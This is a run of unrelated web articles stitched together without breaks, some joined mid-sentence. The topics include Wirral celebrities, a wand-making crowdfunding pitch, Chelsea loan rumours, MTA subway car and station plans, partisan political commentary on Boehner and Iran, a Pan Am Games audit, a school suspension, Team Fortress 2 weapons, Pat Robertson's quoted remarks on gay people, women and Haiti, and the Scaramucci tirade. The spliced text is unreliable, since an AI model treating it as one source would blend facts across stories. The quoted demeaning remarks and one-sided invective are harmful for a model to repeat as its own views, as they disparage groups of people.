His 1983 film Repo Man brought him critical acclaim and he has gone on to helm Sid & Nancy, Revenger’s Tragedy and Death & The Compass.
He has also co-authored Fear and Loathing in Las Vegas and Mars Attacks among others.
53. Anthony Brown
Liverpool-born artist Anthony Brown exhibited his 100 Heads, a unique collection of portraits of famous and not-so-famous Merseyside people at St George’s Hall.
Brown studied graphic design and illustration at Wirral Metropolitan College.
His work is on display from Liverpool to New York, with his clients including Bloomingdales.
54. Miles Kane
(Image: Ben Birchall/PA Wire)
The Hoylake musician toured with the Arctic Monkeys while he was the guitarist with Little Flames, and struck up a friendship with their frontman.
It was the start of big things – Miles and Alex Turner went on to create Last Shadow Puppets.
He started up Wirral trio The Rascals, but they went their separate ways after one album, and has also pursued a solo career.
55. Annette Ekblom
(Image: Daily Mirror)
New Brighton actress Annette Ekblom is known for playing a wide range of TV roles, from Coronation Street to And The Beat Goes On.
Fans of Willy Russell will also have seen her in The Daughters Of Albion and on stage in Blood Brothers.
After leaving drama school, she sent 60 letters to casting directors – finally landing a job with Yorkshire TV.
56. The Woerdenwebers
One of the star families on Gogglebox hail from Wirral.
Mum and daughter Viv and Eve Woerdenweber used to work on Birkenhead market selling New Age ephemera such as incenses and oils, dream catchers and Pagan jewellers before opening a shop and tattoo studio in the Pyramids shopping centre.
57. Louis Emerick
Best known for his role as Brookside’s Mick Johnson, Emerick has enjoyed a 20-year career including parts in Last of the Summer Wine, Casualty, Merseybeat, The Bill, Doctors, Last of the Summer Wine and a minor role in the British film Layer Cake.
A regular performer in local theatre, Emerick also took part in the BBC’s Liverpool Nativity.
58. The Coral
(Image: Geoff Davies)
The Hoylake indie kings were formed in 1996 by lead singer James Skelly and his five school friends.
The band originally consisted of Skelly, his younger brother Ian Skelly, Nick Power, Lee Southall, Paul Duffy and Bill Ryder-Jones, who left in 2008.
Their debut, self-titled album was nominated for the Mercury Music Prize the day after it was released and a record company was created around them.
The Coral’s successful music journey started when they met with Liverpool music champion, Alan Wills, who saw them perform and was impressed enough to start his own record label, Deltasonic, and base it around the band.
59. Natasha Jonas
(Image: Nathan Stirk/Getty Images)
She’s a famous Scouser and Toxteth-born, but Natasha went to Weatherhead High School in Wallasey and, away from the sport where she made her name, was a talented footballer with the school team.
She played for Liverpool Ladies and represented England at under-18 level before heading to the USA on a football scholarship. It wasn’t until a knee ligament injury left her in a leg brace and ended her footballing hopes that she returned to boxing.
The former Team GB star, who represented her country at the 2012 Olympics in London, turned professional earlier this year.
60. Alan Rouse
(Image: Central Press/Getty Images)
The mountaineer, who went to Birkenhead School, became the first British mountaineer to summit K2, the world’s second highest peak, before being killed on the mountain days later in 1986.
Born in Wallasey, he climbed in local beauty spot the Breck as a teenager and a plaque is being erected at the former sandstone quarry in his memory.
61. John Gorman
Former Scaffold member John Gorman was born in Wirral and moved back to the peninsula after living away for several years.
The mischievous trio of John, Mike McCartney and Roger McGough have made occasional appearances over the years for good causes and recorded a track for a special album commemorating Liverpool’s year as European Capital of Culture in 2008.
Despite originally being known for their sense of humour, The Scaffold achieved three top 10 hits, including a number one for Lily the Pink.
In 2011 John unveiled plans to put Wirral on the international arts map by launching the Festival of Firsts, initially focusing on Hoylake.
62. Kate Robbins
An actress, singer and impersonator, the former Wirral Grammar School pupil Kate is best known for her vocal talents on Spitting Image and Eurotrash - but she also reached the charts as a soloist and with group Prima Donna.
Prima Donna represented the UK at the Eurovision Song Contest in 1980 with Love Enough For Two and took bronze behind Johnny Logan’s first contest gold for Ireland.
Her Emily Atack has followed her mum into showbusiness and starred in the Inbetweeners.
63. Louise Delamere
The actress was born in Wallasey and went to St Mary’s College.
She has had numerous TV roles, including Agatha Christie’s Poirot: Evil Under The Sun, Cadfael episode, Waking The Dead, Holby City, Torchwood, Waterloo Road and No Angels.
She is married to Episodes actor Stephen Mangan.
64. Harold Wilson
Former Prime Minister Harold Wilson was born in Huddersfield, but he was educated in Wirral after his father moved the family to Spital to find work.
Wilson junior impressed so much at Wirral Grammar School for Boys that he was made head boy.
He became MP for Ormskirk in 1945 then a constituency change in 1950 created the new seat of Huyton. He was narrowly elected then - but managed to keep the seat for a further 33 years.
His best-remembered speech, at the 1963 Labour Party conference, referenced the “white heat” of technological change that should shape the future of the country.
And the one we can sort of claim..
65. Michael Sheen
He’s known as one of Wales’ most famous star exports, actor Michael Sheen - also has links to Wirral.
He lived in Wallasey for several years as a child when his father’s work for an electronics company brought the family to Merseyside, and attended St George’s Primary.
In an interview in 2009, his mum Irene said it was in Wallasey where a five-year-old Michael first showed his skills for mimicry.
She told Wales Online: “By the end of his first week in school I couldn’t understand him. He just absorbed the Liverpudlian accent like a sponge. He was more Liverpudlian than the locals! So after a few weeks we sent him for elocution lessons.”The goal is to be able to have a fun engaging community who share their ideas for wand design and to be able to create and sell these custom wands I will need to purchase a wood lathe and some nice carving tools I also need some rare or unique wood and some crystals and magical items to add to the wands. I want to be able to have basic wands all the way to wands that light up and that you can see the power. I also I want to make custom stands and leather work for holding the wands. I plan on being able to have fast transactions and deliver the product as soon as possible. There will be a Facebook and Twitter page with updates and hopefully a website with products of my own custom work for anyone to purchase. I would like to have a YouTube channel that showcases every single one made with its features and shout outs to all of the custom designs and to thank those individuals personally in the videos and on the social media. I want everyone who is a part of it to feel involved. All backers will be thanked in a special video of me making the apprentice Wand and all the individual rewards of wands and I will thank all of them by name if they so choose for making a small dream become a big reality. Thank you so much if you choose to support this project.French newspaper L'Equipe reports that Chelsea youngster Jeremie Boga might be set to join La Liga club Granada on a loan deal, though there's also interest from Sporting Gijón and Ligue 1 side Nice. Earlier reports claimed that Boga could join another Chelsea prospect, Charly Musonda, at Real Betis this summer.
The 19-year-old Boga would join a Granada team that barely escaped relegation from the Spanish top flight last season, finishing the year in 16th place with 39 points — only one point above the zone. Since their promotion to La Liga in 2011-12, this has been a regular occurrence for them. Granda recorded just 10 wins to along with 9 draws and 19 losses last season, scoring 46 goals and letting in 69. Their main goalscorer was Moroccan striker Youssef El-Arabi, with 16 league goals scored — 35% of his team's total.
Boga got 1,213 minutes of first-team football at French mid-table side Rennes last season. These numbers could improve in a squad that might not be as strong, while exposing him to the mental rigours of dealing with a relegation battle. By not moving to Real Betis, he would also avoid competing for minutes against Musonda, which is probably a better arrangement.The Survivor Game Changers season is officially upon us, and every week, Parade’s Josh Wigler will bring you interviews with the castaways as they’re voted off the island. Click here to make sure you don’t miss a single story, and click here to revisit our massive preseason coverage.
She crossed Day 100. She earned more votes against her than anyone else in Survivor history. (Someone check the Culpepper math on that.) She saw her torch snuffed four |
will be central factors in awarding the contract.
The RFP will also emphasize the need to align with MTA design guidelines, which were established after a review of best practices in a number of major metropolitan areas from around the world, and identified several key elements for use in the New York system, including:
Open Car End Design: The MTA anticipates that out of 1,025 new cars, up to 750 will feature an Open Car End designed. The Open Car End design replaces the door between cars with an accordion-like connector in order to create longer, open spaces, allowing for greater passenger flow movement and increasing capacity in the process. These cars have become an international standard: in London 31 percent of cars will be Open Car End by the end of the year; in Paris the figure climbs to 37 percent; and in Toronto to 56 percent.
The MTA anticipates that out of 1,025 new cars, up to 750 will feature an Open Car End designed. The Open Car End design replaces the door between cars with an accordion-like connector in order to create longer, open spaces, allowing for greater passenger flow movement and increasing capacity in the process. These cars have become an international standard: in London 31 percent of cars will be Open Car End by the end of the year; in Paris the figure climbs to 37 percent; and in Toronto to 56 percent. Wider Doors: The door width of the new cars will be expanded from the current MTA standard of 50 inches to 58 inches. Wider subway doors can reduce delays by allowing customers to enter and exit more quickly, and have become an international standard. According to a computer simulation of passenger flow conducted on behalf of the MTA, in crowded scenarios wider doors can reduce a train’s ‘dwell time’ in the station by 32 percent.
The door width of the new cars will be expanded from the current MTA standard of 50 inches to 58 inches. Wider subway doors can reduce delays by allowing customers to enter and exit more quickly, and have become an international standard. According to a computer simulation of passenger flow conducted on behalf of the MTA, in crowded scenarios wider doors can reduce a train’s ‘dwell time’ in the station by 32 percent. Customer Amenities & Security: The interior of new cars will also feature a host of new amenities, including WiFi, USB chargers, full color digital customer information displays, digital advertisements, illuminated door opening alerts and security cameras to promote passenger safety.
The interior of new cars will also feature a host of new amenities, including WiFi, USB chargers, full color digital customer information displays, digital advertisements, illuminated door opening alerts and security cameras to promote passenger safety. Exterior Features: Design elements for the exterior of the new subway cars include a new blue front with large windows, LED headlights, and a blue stripe with gold accents along the sides.
Improved Subway Stations
The announcement highlighted key elements of the Governor’s initiative to create a new and improved design standard for subway stations, and undertake extensive renovations at 31 stations from across the five boroughs. The 31 stations included in the program build upon a larger campaign, designed to improve the customer experience, and includes component and renewal work at more than 170 other stations. Design elements include:
Enhanced lighting throughout the stations;
Improved signage to make it easier for customers to navigate stations, including digital, real-time updates on on-time performance at subway entrances, before customers even enter the station;
Inclusion of amenities, such as count down clocks, improved cellular connectivity, Wi-Fi and new art; and
Renovations will also consider the architectural legacy of each station, and remain sensitive to historical elements as the stations undergo redesign.
Key elements for each station type include:
ELEVATED SIDE PLATFORM ISLAND PLATFORM Street Level Entrance Canopy and Totem Street Level Entrance Canopy and Totem Street Level Entrance Canopy and Totem Control Area Dashboard Control Area Dashboard Control Area Dashboard Transparent Windscreens Glass or Mesh Fare Array Glass or Mesh Fare Array LED Light Fixtures Throughout LED Light Fixtures Throughout LED Light Fixtures Throughout Furniture with Integrated Charging Stations Furniture with Integrated Charging Stations Furniture with Integrated Charging Stations Contemporary Art Contemporary Art Contemporary Art
RFP for First Three Stations in 31 Station Renovation Program
The MTA will issue an RFP for the first package of three stations located in Brooklyn later this week:
Prospect Avenue Station
53rd Street Station
Bay Ridge Avenue Station
RFPs for the remainder of the 31 stations will be released over the next twelve months, and will be distributed across the five boroughs. The first contract is expected to be awarded in the fall. Station closures will be limited to a six-month period.
Design Build Contracts
At the direction of the Governor, the MTA is using design-build contracts for all 31 stations. Design-build contracts call for a single team to be responsible for the design and construction of an entire project in order to ensure that coordination is seamless, and that work is completed in the shortest possible time frame.
President of NYC Transit, Veronique (Ronnie) Hakim, said, “With design-build contracts, one team is responsible for both design and construction of the station. From a construction perspective, that means that there’s a seamless connection between various phases of a project, enabling the contractors to limit miscommunications, and speed the completion of the project. From the perspective of our customers, it means that they get a completely renovated station that is brighter, better, and more functional in the shortest possible time frame.”
Design Consultants
The MTA worked with distinguished and world-renowned design consultants, who hold extensive international design expertise in train and transit facilities, for its new rolling stock and station enhancements. The lead designer, Antenna Design, and engineering consultant, CH2M, have created the new subway car design. Lead designers, Grimshaw Architects, and Arup, program managers – both with offices in London and New York – spearheaded the stations’ initiative.It’s time for conservatives to take out House Speaker John Boehner and all of his comrades in primaries, nationally syndicated radio host, New York Times bestselling author, and conservative movement thought leader Mark Levin argues in an exclusive comment to Breitbart News.
Levin’s comments come after Boehner’s retaliation against conservatives hit a new low this weekend, with a report from Politico about how House Committee on Oversight and Government Reform chairman Rep. Jason Chaffetz (R-UT)—playing along with Boehner’s scheme to attack Republicans for voting their conscience—removed Rep. Mark Meadows (R-NC) as the chairman of a subcommittee on his full committee. Levin even compared Boehner to 20th century Communist Soviet dictator Joseph Stalin and how he cleansed his government of all dissent.
“Speaker Boehner’s and Congressman Chaffetz’s removal of Meadows is the latest in a series of ideologically-driven attacks on conservatives. Boehner seems to think he’s Stalin cleaning out all opposition in the Kremlin,” Levin said. “No Republican Speaker in recent times has behaved with less integrity in his wielding of power.”
Levin said that Boehner, House Majority Leader Kevin McCarthy, and Majority Whip Steve Scalise—and more—each need to be removed by Republicans across the country in primaries in 2016. He says this is because the leadership has failed to learn the proper lessons from the astronomical defeat of now former House Majority Leader Eric Cantor in 2014 in a primary against now Rep. Dave Brat (R-VA), the first time in U.S. history a sitting House Majority Leader was defeated in a primary. The position of majority leader was created in the late 1800s, so that means this never happened for more than a century—and Levin is calling out GOP leadership for failing to learn from the unprecedented event.
“Obviously, the lessons of Eric Cantor’s humiliating loss have not resonated with Boehner, McCarthy, and Scalise,” Levin said. “The only solution is for Conservatives to husband their resources and target these three in the coming Republican primaries. Conservatives need to find serious candidates and raise funds nationwide to defeat them. Let them fight for their political careers as our response to their disgusting and pathetic behavior.”
For primaries, Boehner already has an opponent declared—J.D. Winteregg. Winteregg ran against Boehner last cycle and didn’t win, but he is getting even more aggressive this time around.
With regard to Scalise, living inside his district is conservative 2014 U.S. Senate candidate retired Air Force Col. Rob Maness—who got 202,000 votes statewide when he ran for Senate, but that wasn’t enough to beat then Rep. Bill Cassidy (R-LA) to get into a runoff with then Sen. Mary Landrieu (D-LA). Cassidy defeated Landrieu with Maness’s help in the runoff. Maness is currently vying for Sen. David Vitter (R-LA) to appoint him into his Senate seat when, as it is presumed he will, Vitter wins the governor’s mansion in an election later this year. If Vitter doesn’t put Maness in the seat—at this time Rep. John Fleming (R-LA) is also vying for the seat—then Maness may run against Scalise in a primary.
As for McCarthy, it’s unclear who in a liberal California district might step up to run against him. But his district is considered heavily Republican even in California and is rated R+16 by the Cook Partisan Voting Index, which means there’s probably a good chance conservatives could find a viable alternative to him there.
Even those inside the beltway in Washington, like their favorite publication Politico, recognize how abnormal it is for Boehner and his comrades to engage in these kinds of extreme tactics against his own members, while helping Democrats.
Politico’s Jake Sherman and Lauren French called this attack against Meadows—the latest in what they call a “House Republican crackdown” by Boehner and his allies—a “new level of severity.”
“Losing a subcommittee chairmanship midway through a congressional session is among the most serious punishments thus far in Speaker John Boehner’s (R-Ohio) majority,” French and Sherman wrote. “Boehner and his leadership team have grown frustrated with Republicans who vote against the procedural ‘rule’ motion. Those votes — which allow the Republican leadership to bring a bill up for debate and a vote — typically fall along party lines. But a group of conservatives has voted against the measures, mostly in protest of Boehner’s leadership.”
Meadows is getting targeted like this because he was one of 34 courageous conservatives who voted against a rule that leadership used to try to bring Obamatrade to the floor of the House last week. After their effort nearly succeeded, Nancy Pelosi and her Democrats joined in on the final bill to kill Obamatrade—only to have it brought back to life by Boehner’s team later—when the House voted on the bill.
“Republican leadership sees the move as unacceptable —akin to ceding power to Democrats,” Sherman and French wrote about efforts to organize votes against rules. They went on:
On June 11, 34 Republicans voted against the rule that allowed for consideration of President Barack Obama’s request for fast-track authority to negotiate the largest trade deal in history. Conservatives said Boehner and GOP leaders were working too closely with Democrats, and ignoring Republicans. Boehner said he has worked closely with conservatives. In a closed meeting this week, the speaker told rank-and-file Republicans that he was angry that conservatives were voting against the motions. The GOP leadership has told lawmakers that there will be ramifications for voting against such resolutions.
Leadership previously attacked several other House members, removing Reps. Trent Franks (R-AZ), Cynthia Lummis (R-WY), and Steve Pearce (R-NM) from their positions on the Whip Team. Word on the street is, too, that Boehner and his allies aren’t done yet: sources familiar with the House Republican leadership whip effort tell Breitbart News that in the run-up to the Obamatrade vote, leadership was offering wavering members subcommittee chairmanships–specifically ones currently occupied by Rep. Louie Gohmert (R-TX) and House Freedom Caucus chairman Rep. Jim Jordan (R-OH). If leadership continues their tirade against members who vote their conscience, it’s likely this situation will only get uglier.Missing hard drives uncovered during an audit of the Pan Am Games have triggered an investigation by Ontario’s information and privacy commissioner and prompted an opposition MPP to ask police to get involved. In a statement, commissioner Brian Beamish said the probe was sparked by the auditor general’s report Wednesday that noted the inability to obtain computer hard drives.
Canada's Andre De Grasse after winning gold in the 200-metre final last year. Saad Rafi, who was CEO of the games and is now with the Ontario Retirement Pension Plan, said in a statement that record retention was taken "very seriously." ( Frank Gunn / THE CANADIAN PRESS )
“My office will be investigating to determine whether TO2015 followed appropriate record-keeping and record-retention practices. The investigation report will be made public when it is completed,” Beamish said Thursday. Bonnie Lysyk revealed in her report that TO2015 did not hand over all the computer hard drives investigators requested at the outset of the audit, including that of the CEO, Saad Rafi. Of the 12 hard drives requested, the Games organizing committee, known as TO2015, supplied only three to the auditors, Lysyk later said. (It was not stated in the report to whom the other hard drives belonged.) A consultants’ report on the rationale for bonuses was also unavailable.
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NDP MPP Paul Miller (Hamilton East-Stoney Creek) penned a letter to the Ontario Provincial Police commissioner Thursday calling on the force to investigate what he called a potential obstruction of the auditor’s office and the potential of criminal mischief. “This goes on and on and on,” Miller said in an interview, citing the gas plant scandal, eHealth and Ornge. “The Liberals are well-known for these types of dilemmas and scandals and this is just another example of a poorly handled situation.” OPP Sgt. Peter Leon said he was not aware of the request to the commissioner’s office. “Should such a request be received, obviously it would have to be looked at to determine whether an investigation is warranted.” MPP Steve Clark (Leeds-Grenville) had called for Beamish to investigate in an open letter released earlier Thursday.
“This government’s shameful history of using the shredder and ‘delete’ key to destroy public documents is well-known,” Clark said during question period. In the house, Clark also called for the dismissal of Rafi from his current role as CEO of the Ontario Retirement Pension Plan.
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Rafi did not respond to a request for comment on the matter. Though the probability that auditors missed something is low, Lysyk said, the absence of information warranted mention. “Their view would be, the information is in the cloud. Our perspective would be, we would prefer to have had the hard drive,” she told the Star on Wednesday. “Because there’s choices as to what you put in the cloud.” Rafi said in an email Wednesday that TO2015 took record retention “very seriously” and all relevant files were stored in the shared servers, along with emails. When asked again on Thursday why his hard drive was not kept after the auditor had requested it, he did not respond. The ministry of government and consumer services, responsible for Archives Ontario, said in a statement the archives worked with TO2015 on its records series policy. “It is our expectation that staff of TO2015 would manage and save their records in accordance with the requirements of the records series,” it said. Before news of the IPC investigation, Michael Coteau, the minister of tourism, culture and sport responsible for the Games, said TO2015 kept information on shared servers and followed record-keeping procedures. “It’s our job to make sure that those rules are followed. The auditor general has clearly stated the rules have been followed and the process took place and there was no wrongdoing done,” he said. He could not be reached for comment on the investigation before press time. NDP Leader Andrea Horwath supported the call for a privacy commission investigation. “You have to wonder,” she said when asked whether the rules and processes currently in place are effective. “I would say that they are not but we have to get information from the information and privacy commissioner in terms of this particular case.” When asked for his response to Clark’s call in the house for Rafi’s dismissal, Coteau told reporters Rafi “did a great job.” “It was a very complex operation they’re running,” he said. “I was quite happy with the entire process.” Fifty-three senior staff were paid $5.3 million in bonuses at the end of the Games for finishing their contracts and meeting the government’s budget targets, despite the auditor general finding the Games had cost overruns of $304 million. Those senior staff payments came in addition to annual performance bonuses of $10.5 million. Rafi reportedly declined a $438,000 bonus when he took his new post.A five-year-old Invercargill boy has been suspended from school for being violent to other children, his mother says.
Mereana Fincher said her son was suspended from Fernworth Primary School for two days on February 23 before being suspended again on Monday.
He now faces the possibility of expulsion.
"Apparently he has been really violent and he has been hurting people. She [principal Anne Walker] feels she has to stand him down to keep the rest of the children safe."
Fincher said she was upset her boy had been suspended but she understood the school's decision.
However, she believed her son's plight highlighted a lack of resources being available in schools to deal with children such as hers.
It was the second school her son had gone through. He started at Tisbury School last year but only lasted six weeks due to his behaviour, she said.
Fincher home schooled her son for a time before sending him to Fernworth Primary.
Her son, who was "quite intelligent," was proving to be too naughty for his mainstream school but was not suitable to attend a special needs school, she said.
"It really highlights the need for something in schools to deal with children like this."
With a psychologist observing her boy this week, she now believed he may have ADHD, but said tests would be required.
The Fernworth Primary School Board of Trustees would decide the boy's fate next week.
The board has three options: lift the suspension, extend the suspension or exclude him from the school.
Principal Anne Walker declined to discuss the boy's case, citing privacy laws.
However, in general terms, the key reason a child would be suspended was to ensure the safety of children and staff at the school, she said.
The school's job was to teach children academic subjects and social skills, which incorporated their behaviour, so options were explored before making the decision to suspend a child, she said.
Schools needed expert help and support to deal with children with particular needs and sometimes those experts were not readily available in schools.
Schools struggled to meet the needs of some children with their existing resources, she said.
Education Ministry spokeswoman Katrina Casey said the ministry believed Fernworth Primary was handling the case appropriately and had followed the correct process.
In 2013 just two five year olds in New Zealand were suspended, with figures unavailable for 2014.
Although it was uncommon for kids so young to be suspended, it was necessary on occasions to allow the school, family and child to consider next steps.
Schools were also obliged to consider the health and safety of all children within a school, Casey said.
The ministry had offered the school specialist assistance through its special education staff and was working with the school to manage the "challenging situation".
Extra funding from the ministry's interim response fund was available to the school to provide additional support if required, "for example for a teacher aide".
"We're not aware of any recent requests by Fernworth School for help that we haven't been able to meet. We're always happy to discuss any needs."
On two occasions already this year, the ministry had provided the school with extra funding to deal with children with particular needs.
Extra support had also been provided to Fernworth School through the positive behaviour for learning programme, Casey said.
* Comments have been closed on this story.With yesterday’s release of the Shogun Menage à Trois for Team Fortress 2, Valve added four new weapons to the game, along with four hats. While some players debate the continued efforts of Valve to cash in on preorders for third party software, I’ve already stated my case on such matters. Instead, we turn to a matter on which there is no debate:
These items are bad.
“But WiNG,” you quaver, “they’re not so bad! They’re just situational!”
While this may be the case, situational didn’t become a synonym for useful, the last time I checked. After all, keeping a life jacket under my bed is situationally useful, in the situation that the midlands of New Jersey flood to above the third story of my apartment complex. Keeping a loaded gun in my car is useful in the situation that crime occurs in New Jersey. You get the idea: as probability of a scenario approaches zero, so to does the value of an item that relies on that situation.
So, let’s discuss the situation at hand.
Conniver’s Kunai
What it does: When equipped, the Spy has only 60 health. Upon successful backstab, the Spy is healed/overhealed for an amount equal to his victim’s current life, up to a maximum of 180 HP.
Useful situation: Cloaked, you manage to make it behind the enemy team without getting hit by a single stray rocket, flare, pipe, sticky, bodyshot, arrow, or melee attack, all of which would instantly kill you. You backstab an enemy, putting you at 180 health, which immediately starts ticking away. Someone spots you, but before they can warn the team or kill you, you get another backstab, putting you back at 180 life. You repeat the process until no foes remain, ending your 11 kill streak with a revolver duel against the final pursuer. You survive, left with only 1 HP, thanks to the Conniver’s Kunai.
Situation likelihood: Same approximate likelihood of Half Life 2 Episode 3 or Half Life 3 being released in the next 2 years.
Fan O’War
What it does: Dealing only 10% of the Scout’s normal melee damage, the Fan O’War “marks enemies for death” on hit, causing the target to take minicrits.
Useful situation: You’ve made it into a flanking position as Scout, only to discover your worst nightmare: a Natascha heavy. Since you have the Force-a-Nature equipped, you don’t think you can kill him, so you double-jump over his head, marking him for death. Landing behind him, you fire the FAN into his backside, launching him across the map with a mini-crit meatshot. Using your microphone, you say only one word: Pull. Friendly buckshot fills the air, rending the Heavy limb from gigantic limb.
Situation likelihood: Odds are similar to chance that Americans will realize Charlie Sheen is not a newsworthy story.
Concheror
What it does: When this samurai-themed blasting horn is blown by the Soldier, nearby allies gain 20% of their damage back as life.
Useful situation: It’s Dustbowl 2, point 2, and there are only 11 seconds left on the clock. You allies are surrounding the capture point, but are hesitant to push forward, because an enemy Pyro recently set everyone ablaze and killed both of the team’s Medics.* While a friendly Engineer has built a level 3 dispenser, there’s not enough time to wait for its sweet but slow healing spray. Tooting your turn-of-the-century conch, you lead the charge, as allies pour around you, instinctively trusting a Soldier to be a source of healing. Your team sucks the enemy dry of HP like a flock of blue-skinned vampires and secure victory.
Situation likelihood: Remember that time, when you were 9 years old, when you were watching the lottery drawing on TV? It was the Pick 6 and you picked 5 in a row! Remember that? Man, that was neat. This gameplay situation is twelve orders of magnitude more unlikely.
Half-Zatoichi
What it does: Upon killing an enemy, the user (Soldier or Demoman) is instantly healed to full health. However, the Zato cannot be switched out once drawn until it is responsible for a kill. If used against another player brandishing this sword, it will result in a one-hit fatality.
Useful situation: You encounter another idiot running around with this sword.
Situation likelihood: Unfortunately, this situation is extremely likely.
Implications for gameplay: No comment.
*Just kidding. Nobody plays Medic, especially not more than one person simultaneously.Iran’s supreme leader has pilloried Donald Trump with degrading epithets in his latest speech following the US President’s refusal to recertify the nuclear deal. Trump is, according to Ayatollah Ali Khamenei, “foul-mouthed”, uttering “nonsense,” and “suffering from retardation”.
The rogue, jihadist regime of Iran had it good with Barack Obama, and became increasingly emboldened as the former administration continuously relented to Iran’s dictates. Obama not only signed on to the disastrous Iranian deal but then secretly airlifted 400 million dollars in “ransom” to Iran for a prisoner exchange which the Democrats at first denied before going on to call it “a deal for taxpayers.” Then there was the $1.7 billion settlement the Obama administration reached with Iran to resolve a decades-old dispute over a failed arms deal signed before the 1979 fall of Shah Mohammad Reza Pahlavi.
In other words, the Obama Administration was pumping big bucks into Iran with full knowledge of its jihadist proxies, its goal to obliterate Israel, and the apocalyptic vision of its Islamic Revolutionary Guard Corps.
According to an expose by the Washington Free Beacon, former Obama officials and loyalists then went so far as to wage a secret campaign to oust former national security adviser Michael Flynn in order to preserve the Iranian deal.
So there should be little wonder that Khamenei would resort to his own “foul-mouthed” temper tantrum over Trump’s refusal to re-certify the Joint Comprehensive Plan of Action (aka the Iran Deal), leaving the regime nervous over the future of its aggressive quest to expand its regional and global powers.
“‘Foul-mouthed’ Trump suffers from ‘retardation’ – Iran’s supreme leader”, RT News, October 19, 2017:Story highlights Robertson would like a 'vomit' button on Facebook for pictures of kissing gay couples
Robertson said a man who has a wife with Alzheimer's should leave her and remarry
Homosexuality goes together with Satanism and activism for Adolf Hitler, the preacher said
Feminism encourages women to kill their children and practice witchcraft, Robertson has said
Televangelist Pat Robertson wishes Facebook had a 'vomit' button. So that he could click on it every time he came across a photograph of a gay couple kissing.
Robertson who has repeatedly made clear his disapproval of homosexuality, made the latest comments Monday in response to a question he fielded from a viewer on his Christian Broadcasting Network show "The 700 Club."
The viewer wanted to know how to address images of same-sex couples on social media sites, such as Facebook.
You've got a couple of same-sex guys kissing, do you like that? Well that makes me want to throw up," he said.
"To me I would punch 'Vomit;' not 'Like,'" he added.
"But they don't give you that option on Facebook."
JUST WATCHED Robertson: Males tend to wander Replay More Videos... MUST WATCH Robertson: Males tend to wander 01:10
JUST WATCHED 2010: Pat Robertson: Haiti is cursed Replay More Videos... MUST WATCH 2010: Pat Robertson: Haiti is cursed 06:35
JUST WATCHED Robertson slams 'awful-looking' women Replay More Videos... MUST WATCH Robertson slams 'awful-looking' women 01:22
It's not the first time Robertson, 83, has used vomit to express his sentiments on homosexuality.
Robertson has also said the land would "vomit out" those who disobeyed the commandments of the Old Testament.
Here are nine more controversial and colorful comments the evangelists has made that have gone viral:
On adultery
"Males have a tendency to wander a little bit. And what you want to do is make a home so wonderful he doesn't want to wander."
On a man with an Alzheimer's-stricken wife
"I know it sounds cruel, but if he's going to do something, he should divorce her and start all over again, but to make sure she has custodial care and somebody (is) looking after her."
Asked what about the "Till death do us part" part of the marriage vow, he said Alzheimer's is "a kind of death."
On Walt Disney World's "Gay Days"
"I would warn Orlando that you're right in the way of some serious hurricanes, and I don't think I'd be waving those flags in God's face if I were you... It'll bring about terrorist bombs; it'll bring earthquakes, tornadoes, and possibly a meteor."
On the role of a man and a woman
"I know this is painful for the ladies to hear, but if you get married, you have accepted the headship of a man, your husband. Christ is the head of the household, and the husband is the head of the wife, and that's the way it is, period."
On feminism
"The feminist agenda is not about equal rights for women. It is about a socialist, anti-family political movement that encourages women to leave their husbands, kill their children, practice witchcraft, destroy capitalism and become lesbians."
On the devastating 2010 Haiti earthquake
"They were under the heel of the French, you know, Napoleon the third and whatever. And they got together and swore a pact to the devil. They said, 'We will serve you if you will get us free from the prince.' True story.
And so the devil said, 'OK, it's a deal.' And they kicked the French out. The Haitians revolted and got themselves free. But ever since they have been cursed by one thing after another."
On homosexuality
"Many of those people involved in Adolf Hitler were Satanists. Many were homosexuals. The two things seem to go together."
On assassinating Hugo Chavez
"You know, I don't know about this doctrine of assassination, but if he thinks we're trying to assassinate him, I think that we really ought to go ahead and do it."
On the tornadoes that ravaged the Midwest in 2012
"If enough people were praying, (God) would've intervened. You could pray. Jesus stilled the storm. You can still storms."Anthony Scaramucci’s shocking, on-the-record tirade has blown the cover off long-simmering tensions between two of President Trump’s key men, prompting one White House worker to express safety concerns and triggering a countdown to the exit of either Scaramucci or his target, Trump Chief of Staff Reince Priebus.
Scaramucci, the newly minted White House communications director, set off a firestorm with a rambling rant loaded with expletives and threats that The New Yorker published. The coarse language directed at Priebus and White House Chief Strategist Steve Bannon, as well as blanket threats to fire people, left some inside the White House shaken.
“This is getting out of hand,” a White House staffer told Fox News. “I am honestly concerned for my safety in the office tomorrow. This type of behavior is unbelievable. Working in the White House, and something like that is said … it’s a disgrace.”
Former Republican National Committee boss Priebus was left seemingly even more isolated in the aftermath. Scaramucci all but accused Priebus of media leaks, a recurring problem that has vexed the Trump administration. Other RNC colleagues brought into the administration have been nudged out of the West Wing, and Scaramucci’s hiring came with the rider that he reports directly to Trump – not Priebus.
SCARAMUCCI LETS LOOSE IN VULGAR INTERVIEW
Despite absorbing a brutal attack, Priebus received no outward signs of support. As of Friday morning, Trump had not weighed in on the mushrooming controversy. The president’s son, Donald Trump Jr., backed Scaramucci.
“Shocked the media is going after @Scaramucci for working to cut off their ‘sources’ & leaks,” Trump Jr. tweeted. “All I know is that he isn't/wasn't the leak!!!”
Priebus has not reacted publicly to the broadside from his West Wing adversary, but it is hard to imagine the two co-existing in the administration after the public eruption of animosity. Scaramucci said after his tirade but before it was made public that any chance their relationship could be repaired was in the hands of the president.
White House Press Secretary Sarah Huckabee Sanders tried Thursday to dampen the controversy, but acknowledged she hoped Scaramucci could learn to use more restraint in his rhetoric – especially when discussing fellow Trump administration staffers.
“In terms of people’s safety, I certainly hate that somebody feels that way, but I have worked with an incredible team over the last six months,” Sanders told Fox News. “We have a great group of people. I love coming to work every day. I consider it a privilege. I certainly feel very safe in the building, and happy to be here.”
In the published interview, Scaramucci bluntly assailed Priebus for blocking his path to a White House job for months and for allegedly being a likely source of leaks. He also went after Bannon by name and other White House staffers who serve as unnamed sources to the White House press corps.
“They’ll all be fired by me,” Scaramucci told a New Yorker reporter, after the reporter refused to divulge a source. “I fired one guy the other day. I have three to four people I’ll fire tomorrow. I’ll get to the person who leaked that to you.”
“Reince is a (expletive) paranoid schizophrenic, a paranoiac,” he told the New Yorker about the White House chief of staff.
Scaramucci also took a shot at Bannon.
“I’m not Steve Bannon, I’m not trying to suck my own (expletive),” Scaramucci said. “I’m not trying to build my own brand off the (expletive) strength of the president. I’m here to serve the country.”
Scaramucci later tweeted his response to the article.
“I sometimes use colorful language. I will refrain in this arena but not give up the passionate fight for @realDonaldTrump's agenda. #MAGA”" series reported by Robert Johnson and edited by Chris C. Anderson. Jill Klausen and graphic designer Mike Nudelman contributed to this series.
